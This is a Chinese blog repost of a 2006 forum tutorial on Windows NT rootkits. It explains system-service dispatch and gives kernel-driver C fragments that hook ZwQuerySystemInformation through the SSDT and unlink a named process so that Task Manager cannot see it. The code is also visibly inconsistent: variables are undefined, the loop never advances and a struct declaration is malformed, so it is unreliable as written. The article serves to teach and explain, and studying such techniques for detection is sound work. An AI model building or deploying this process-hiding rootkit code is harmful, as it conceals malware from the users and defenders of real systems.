搜索
查看
编辑修改
首页
UNITY
NODEJS
PYTHON
AI
GIT
PHP
GO
CEF3
JAVA
HTML
CSS
搜索
IT小白
这个屌丝很懒,什么也没留下!
关注作者
热门标签
jquery
HTML
CSS
PHP
ASP
PYTHON
GO
AI
C
C++
C#
PHOTOSHOP
UNITY
iOS
android
vue
xml
爬虫
SEO
LINUX
WINDOWS
JAVA
MFC
CEF3
CAD
NODEJS
GIT
Pyppeteer
article
热门文章
1
hadoop的三大核心组件之HDFS和YARN_hdfs yern
2
【实体对齐·HGCN】Jointly Learning Entity and Relation Representations for Entity Alignment
3
Linux系统简介_linux硬件设备由什么直接管理
4
Git入门到精通(大全)_git从入门到精通
5
软件测试只会“点点点”,凭什么让开发看的起你?_软件测试点点点
6
echarts的简单使用_echarts简单使用
7
Introduction to 3D Game Programming with DirectX 12 学习笔记之 --- 第七章:在Direct3D中绘制(二)_direct3d画圆
8
HarmonyOS Next 使用Web获取相机拍照图片案例_onshowfileselector返回值
9
用70行Python编写一个概率编程语言_pyro教材 概率编程
10
自动化搞钱:7个最强免费AI工具,10倍速提升赚钱、超过99%的人_7個最強免費ai工具,10倍速提升賺錢、自媒體內容創作、工作效率,超過99%的人
当前位置:
article
> 正文
NT操作系统的Rootkit技术初探 _ntedx
作者:IT小白 | 2024-07-18 04:32:51
赞
踩
ntedx
1
NT操作系统的Rootkit技术初探
目前偶对Windows下的Rootkit技术在学习的过程中有些心得,在这里写出来和各位朋友进行分享。
Rootkit最早是起源于UNIX,出现在20世纪90年代初,在1994年2月的一篇安全咨询报告中首先使用了Rootkit这个名称。这篇安全咨询就是CERT-CC的CA-1994-01,题目是Ongoing Network Monitoring Attacks,最新的修订时间是1997年9月19日。从出现之后,Rootkit的发展非常迅速,应用越来越广泛,检测难度也越来越大,而且使用者由计算机高手向“平民化”发展。目前Windows平台下的Rootkit也日益流行,如RU,hxdef1.0,AFX2005等等,这些都是经典的Rootkit,通过它们,黑客可以隐藏自己,隐藏文件,隐藏其他不受保护的程序,修改系统的各种配置,修改环境变量等等,以达到对主机长时间控制的目的。
一个典型的Rootkit包括以下几个部分组成:
隐藏程序,用于隐藏Rootkit的程序文件,进程信息,注册表信息,同时也可以为其他进程提供隐藏的帮助;
特洛伊木马程序,为攻击者提供下次进入的后门;
一个远程的Shell,为攻击者继续渗透和做其他工作进行支持;
由Rootkit的组成部分可以看出,Rootkit和普通的特洛伊木马的区别主要就是在隐藏的方式和隐藏的功能上,下面主要对Rootkit的隐藏来进行一些分析。在开始深入到Rootkit的技术细节之前,我们对WindowsNT的系统内核进行一下简单的相关介绍:
系统服务
1. Windows系统服务。Windows系统服务是由操作系统提供的一组函数,应用程序接口使得开发者能够直接的或者间接的调用系统服务,操作系统以动态连接库的形式提供应用程序接口,而我们平常编写程序用的API一些是直接来自相应的系统服务,另一些则依赖其他多个系统服务调用,也就是说应用程序接口和系统服务之间不是一对一的调用,这种关系可以用下图表示:
Kernel32.dll NTDLL.DLL
+
2. Windows NT下的系统服务。在Windows NT下,NT的executive(NTOSKERL.EXE的一部分)提供了核心的系统服务,这些服务非常的简单和原始,各种Win32,OS/2,和POSIX的应用程序接口都是以DLL形式提供的,这些应用程序接口反过来又调用NT executive提供的服务。尽管调用了相同的服务,但由于子系统名称不同,API函数的名称也不定相同,比如用Win32 API打开一个文件,使用CreateFile()函数,但是在POSIX的API中使用open()函数,但是最终的结果都是调用了系统服务的NtCreateFile()系统服务。
3. NTOSKERL的系统服务的用户接口是以包装函数的形式提供的。这些包装函数都在一个NTDLL.DLL的DLL里面,这些包装函数通过INT 2E指令来切换到内核模式并执行所需要的系统服务。WIN32 API函数(主要在Kernel32.DLL和Advapi.DLL里面)使用这些包装函数来调用系统服务。WIN32 API函数完成参数的有效性检查,将所有的参数都转换程UNICODE编码,然后调用NTDLL中对应所需的包装函数。NTOSKERL中的每一个系统服务都有Service ID标示,NTDLL中的包装函数将所需要的系统服务的Service ID送入EAX寄存器,将指向堆栈的指针送入EDX寄存器,然后发出INT 2E指令,这条指令将处理器切换至内核模式,并使处理器开始执行中断描述符表中为INT 2E指定的处理程序,这个处理程序由Windows NT的executive建。INT 2E处理程序将参数从用户模式堆栈拷贝到内核模式堆栈,堆栈的基址为EDX寄存器的值,由NT executive提供的INT 2E处理程序在内部被称为KiSystemService()。
4. Ring3和Ring0。在CPU的所有指令中,有一些指令是非常危险的,如果错用,将会导致整个系统崩溃,如果所有的程序都能使用这些指令,那么系统将不知道什么原因就会当机,就会蓝屏,由于这个原因,CPU将指令分为特权指令和非特权指令,对于那些特权指令只允许操作系统及其相关模块使用,普通的应用程序只能使用那些不会造成灾害的指令。可以更形象的说特权指令就是那些儿童不宜的东西,非特权指令就是那些老少皆宜的东西。Intel的CPU指令特权级别分为四个级别:Ring0,Ring1,Ring2,Ring3。Windows只使用其中的Ring0和Ring3两个级别,其中Ring0是给操作系统使用,Ring3可以任意应用程序使用。Windows下的系统服务都是工作在Ring0级别上的,NT服务提供的函数都是完全运行在内核模式下。
作者:
天の闲
2006-5-20 07:56
回复此发言
2
NT操作系统的Rootkit技术初探
Hook的作用
钩子(Hooking)是一种拦截/监听可执行代码在执行过程中相关信息的一种通用机制,它可以监视指定窗口的某种消息,这个监视窗口可以是任意进程创建的,当消息到达后,在应用程序处理之前,可以由钩子程序首先进行分析处理,然后向下递交。因此钩子可以使我们了解系统的内部结构,运作机制,甚至可以修改系统的功能。
Hook系统服务
通过对Windows系统服务和Hook技术的简单介绍,显然,在这里我们会想到,应用程序所调用的API都是最终通过系统服务来实现的,如果我们通过挂钩技术来对系统服务进行挂钩,那么是不是就能达到我们的隐藏目的呢?答案是完全可行的。
查询Windows 2000Native Api我们可以找到,在任务管理器中查询进程信息是通过ZwQuerySystemInformation来实现,那么我们挂钩这个函数就能修改各种返回的系统信息,然后自己实现这个函数不就能达到隐藏特定的返回值的功能了吗? ZwQuerySystemInformation是在系统服务中提供,挂钩系统服务的最简单的办法就是定位操作系统使用的系统服务调度表(System Service Dispatch Table),以使之指向我们自己的某个函数,对调用返回的各种信息进行修改,然后回调。但是这个表在页表级是操作系统保护的,这个表所在的页的页属性被设置成只有内核模式的程序才能读写,用户级的应用程序不能读写该页单元,因此对这个表进行修改和挂钩必须通过内核驱动来完成。
NTOSKERL的export list中有一个未公开的表项结构叫做KeServiceDescriptorTable()。这个表项是访问系统服务调度表的关键,我们可以通过它来对系统服务调度表进行访问与修改。此表项的结构如下:
typedef struct ServiceDescriptorTable {
PVOID ServiceTableBase;
PVOID ServiceCounterTable(0);
unsigned int NumberOfServices;
PVOID ParamTableBase;
}
其中
ServiceTableBase是系统服务调度表的基地址;
NumberOfServices是系统服务调度表描述的服务的数目;
ServiceCounterTable(0)是操作系统的checked builds,包含了系统服务调度表中每个服务被调度的次数的计数器,这个计数器由INT 2E处理程序(KiSystemSerivce)更新;
ParamTableBase包含每个系统服务参数字节数表的基地址。
ServiceTableBase和ParaTableBase都有NumberOfService个表项,每个表项都是一个指向相应系统的函数指针。
我们只要由KeServiceDescriptorTable找到了我们关注的系统服务调用程序,就可以修改它对应的ServiceTableBase参数来实现对相应的系统服务调用的hook,在这里我们需要修改的相应的系统服务是ZwQuerySystemInformation。
一个简单的隐藏进程的Rootkit代码分析
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
定义未公开的KeserviceDescriptorTable。将keserviceDescriptorTable与相关数据结构联系起来,定义系统调用:
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
定义未公开的函数ZwQuerySystemInformation:
typedef
NTSTATUS
(*ZWQUERYSYSTEMINFORMATION)(
IN ULONG SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformaitonLength,
OUT PULONG ReturnLength OPTIONAL);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
作者:
天の闲
2006-5-20 07:56
回复此发言
3
NT操作系统的Rootkit技术初探
PULONG ReturnLength
);
定义ZwQuerySystemInformation函数中的数据结构
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //Windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
修改系统服务调用,保留原始的入口地址,将系统服务对应的地址修改为我们程序的入口地址:
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)( SYSTEMSERVICE (ZwQuerySystemInformation));
_asm cli
(ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE (ZwQuerySystemInformation))= NewZwQuerySystemInformation;
_asm sti
解除钩子,还原系统服务:
_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
_asm sti
调用原始的系统服务,然后通过实现自己的ZwQuerySystemInformation函数来达到隐藏进程的目的。首先调用原始ZwQuerySystemInformation函数,得到当前的SystemInformation,然后对SystemInformation结构进行遍历,查找是否有需要隐藏的进程名称,当发现有需要隐藏的进程名称之后,修改SystemInformation中的进程队列,取下需要隐藏的进程单元,以达到在任务管理器中隐藏的目的。
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES * ProcPre = NULL;
while(curr)
{
if(RtlCompareUnicodeString(&ProcessName,&CurProcessName,TRUE) == 0)
当前的进程名称CurProcessName和需要隐藏的进程名称ProcessName进行比较,如果是需要隐藏的进程,则将指向当前进程的指针后移,摘除当前挂在链表上的进程结构。
{
if(ProcPre != NULL)
{
if(ProcCur->NextEntryDelta != 0)
{
ProcPre->NextEntryDelta += ProcCur->NextEntryDelta;
}
else
{
ProcPre->NextEntryDelta = 0;
}
}
else
{
if(ProcCur->NextEntryDelta != 0)
{
SystemInformation = (PSYSTEM_PROCESSES)((PTSTR)ProcCur + ProcCur->NextEntryDelta);
}
else
{
SystemInformation = NULL;
}
}
break;
}
}
最后将结果返回:
return(rc);
在这篇文章里面我们很粗浅的分析了一下一个基本的Rootkit的进程隐藏功能,相信大家看完之后对神秘的Rootkit有所了解。当然这个Hook ZwQuerySystemInformation来隐藏进程的技术已经能被很多的Rootkit检测工具查出来,但是,对于一般的进程查看工具而言,仍不失为一种比较好的隐藏策略。
作者:
天の闲
2006-5-20 07:56
回复此发言
声明:
本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:
https://www.wpsshop.cn/w/IT小白/article/detail/843609
推荐阅读
article
基于
python
爬虫
技术的淘宝电商销售信息采集
系统
的设计与
实现
(
Django
框架)
参考文献
_
基于
p...
Python崛起并且风靡,因为优点多、应用领域广、被大牛们认可。学习 Python 门槛很低,但它的晋级路线很多,通过它...
赞
踩
article
重装
Ubuntu
14.04后使用
apt
-
get
安装
build
-
essential
(即
sudo
ap...
重装
Ubuntu
14.04后使用
apt
-
get
安装
build
-
essential
(即
sudo
apt
-
get
inst...
赞
踩
article
selenium
爬取入门到实战(
模拟
用户
操作
QQ)_利用
selenium
抓取
qq...
使用python的requests模块还是存在很大的局限性,例如:只发一次请求;针对ajax动态加载的网页则无法获取数据...
赞
踩
article
Java:
SpringBoot
整合
Druid
实现双
数据源
_
springboo
配置双
数据源
并集成dur...
SpringBoot
整合
Druid
实现双
数据源
SpringBoot
整合
Druid
实现单
数据源
数据库密码加解密druid加...
赞
踩
article
干货 |做
人工智能
必看
的
45
篇
论文
-附下载
地址
及
pdf
版本~_
人工智能
方向
论文
pdf
...
【导读】今天介绍下做
人工智能
必看
的
45
篇
论文
,并附上下载
地址
,同时小编也整合了
pdf
版本,想要获取完整版可以在公众号“飞...
赞
踩
article
Python
爬虫之基于
selenium
实现
文献
信息获取_
python
使用
selenium
爬取ie...
Python
崛起并且风靡,因为优点多、应用领域广、被大牛们认可。学习
Python
门槛很低,但它的晋级路线很多,通过它...
赞
踩
article
Linux
系统
简介_
linux
硬件
设备
由
什么
直接管理...
**1. 操作
系统
是
什么
,操作
系统
概述**
Linux
也是众多操作
系统
之一,要想知道
Linux
是
什么
,首先得说一说什...
赞
踩
article
物
联网
可编程
中
控系统
的
功能介绍_gf-
maxcc
...
物
联网
可编程
中
央控制主机GF-MAXCC是一种功能强大、智能化
的
设备,能够集
中
管理和控制
物
联网
系统
中
的
各种设备。
物
联网
可...
赞
踩
article
【动画视频】要想
运维
功夫
硬
,
日常
应该
怎么做?...
构建系统夯基础
,
日常
运维
是保障。
运维
工作杂又细
,
业务连续是关键。等保评级都看它
,
日常
练兵保安全。
日常
运维
很重要
,
想要干好...
赞
踩
article
深度
学习
“
四大名著
”发布!
Python
、
TensorFlow
、
机器
学习
、
深度
学习
四件套(附免费下载)...
Python
程序员
深度
学习
的“
四大名著
”:这四本书着实很不错!我们都知道现在
机器
学习
、
深度
学习
的资料太多了,面对海量资...
赞
踩
article
Sql
Server
远程
连接_
远程
ip 登录
sql
server
_
sql
server
远程
连接...
SQL
Server
是由Microsoft开发和推广的关系数据库管理系统(DBMS),它最初是由Microsoft、Sy...
赞
踩
article
可见首发《
浅谈
深度
学习
_
肖达
》
百度网
盘
下载
分享
_
北邮
肖达
...
本文提供了
肖达
所著《
浅谈
深度
学习
》一书的
百度网
盘
下载
链接,包括提取码。作者
肖达
在北京邮电大学任教,拥有清华大学博士学位,...
赞
踩
article
成像光谱
遥感
技术中的AI革命:
ChatGPT
在
遥感
领域中的
应用
_
人工智能
在
遥感
中的
应用
...
遥感
技术主要通过卫星和飞机从远处观察和测量我们的环境,是理解和监测地球物理、化学和生物系统的基石。
ChatGPT
是由Op...
赞
踩
article
如何
解决
微
服务
下引起
的
分布式
事务
问题...
虽然叫
分布式
事务
,但不是一定是
分布式
部署
的
服务
之间才会产生
分布式
事务
。不是在同一个
服务
或同一个数据库架构下,产生
的
事务
,...
赞
踩
article
前端工具-
json
-
server
...
以项目为例,介绍前端mock数据的方式;前端工具-
json
-
server
...
赞
踩
article
第二节
课
笔记
+作业...
一步步跟下来,基本上都能成功,甚至只出现了一次报错。只是,目前跟下来,能够知道怎么搭建一些东西了,但是其中的一些原理还是...
赞
踩
article
盘点
5
款最热门
的
AI
绘画
软件
!总有一款是你
的
菜...
从Start
AI
的
创新艺术起点到奇域
AI
的
东方美学,从Dreamina
的
即时创意平台到文心一格
的
高级编辑功能,再到无界A...
赞
踩
article
海外社媒矩阵
为何
会
被
关联
?
如何
IP
隔离
?
...
在当今的数字时代,社交媒体已经成为人们日常生活中不可或缺的一部分。通过社交媒体,人们可以与朋友互动,分享生活,甚至进行业...
赞
踩
article
【华为昇腾】【
Atlas
200】【
青云
1000
】
YOLOv5
训练并部署到
青云
1000
基于Asce...
CANN(Compute Architecture for Neural Networks)是华为针对AI场景推出的异构...
赞
踩
article
问题
:
当直
齿
圆柱
齿
轮
的
齿
数
少于
?时,可
采用
变位
的
办法来避免根切。 #学习方法#其他...
问题
:
当直
齿
圆柱
齿
轮
的
齿
数
少于
?时,可
采用
变位
的
办法来避免根切。
问题
:
当直
齿
圆柱
齿
轮
的
齿
数
少于
?时,可
采用
变...
赞
踩
相关标签
python
爬虫
开发语言
ubuntu
build-essential
selenium
测试工具
java
学习
面试
linux
运维
服务器
物联网
iot
大数据
tcp/ip
网络协议
网络
深度学习
AI
机器学习
人工智能
chatgpt